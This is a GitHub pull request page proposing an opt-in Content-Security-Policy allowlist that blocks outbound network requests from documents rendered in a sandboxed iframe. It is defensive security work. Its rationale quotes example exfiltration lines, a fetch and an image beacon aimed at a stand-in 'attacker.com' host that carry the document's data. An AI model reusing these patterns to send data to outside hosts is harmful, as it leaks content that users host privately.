Skip to content

Opt-in CSP egress allowlist for rendered documents#2

Open
Fyko wants to merge 1 commit into
jonesphillip:mainfrom
Fyko:security/doc-egress-csp-allowlist
Open

Opt-in CSP egress allowlist for rendered documents#2
Fyko wants to merge 1 commit into
jonesphillip:mainfrom
Fyko:security/doc-egress-csp-allowlist

Conversation

@Fyko

@Fyko Fyko commented Jun 25, 2026

Copy link
Copy Markdown

What

Adds an opt-in DOC_CSP_ALLOWED_ORIGINS env var. When set, the worker injects a <meta http-equiv="Content-Security-Policy"> into each rendered document at serve time that locks the document's network egress to inline/data resources plus an explicit allowlist of origins.

  • unset / empty → feature off, behavior unchanged
  • DOC_CSP_ALLOWED_ORIGINS="https://fonts.example.com https://cdn.example.com" → those origins are allowed, everything else (fetch/img/form to other hosts) is blocked
  • DOC_CSP_ALLOWED_ORIGINS="none" → full lockdown, zero external egress

Why

Documents already render in a sandbox="allow-scripts" iframe, so they can't read cookies or reach the first-party origin — good. But the sandbox doesn't restrict outbound network, so a hostile (or compromised) document can still fetch("//attacker.com") or new Image().src = "//attacker.com/?" + data and exfiltrate whatever it can read. For anyone hosting sensitive content behind Access, that's the remaining gap.

There's no HTTP-header path to fix this: the shell renders documents via iframe.srcdoc, and srcdoc only honors a CSP delivered as a <meta http-equiv> inside the document. So the policy has to be injected into the document body, which is what this does — only on the viewer /d/:id/content path, leaving the download endpoint untouched.

Honest scope

This is a best-effort egress control, not a guarantee. It closes the obvious channels (connect-src, img-src, form-action) but not covert ones (timing side-channels, etc.). It's also why it's opt-in and allowlist-driven rather than on by default — any document that legitimately loads an external font/image/script will need its origin allowlisted.

Tests

Pure-function unit tests for parsing, CSP construction, and meta injection (head present / head absent / bare fragment). 57 passed locally, typecheck clean.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant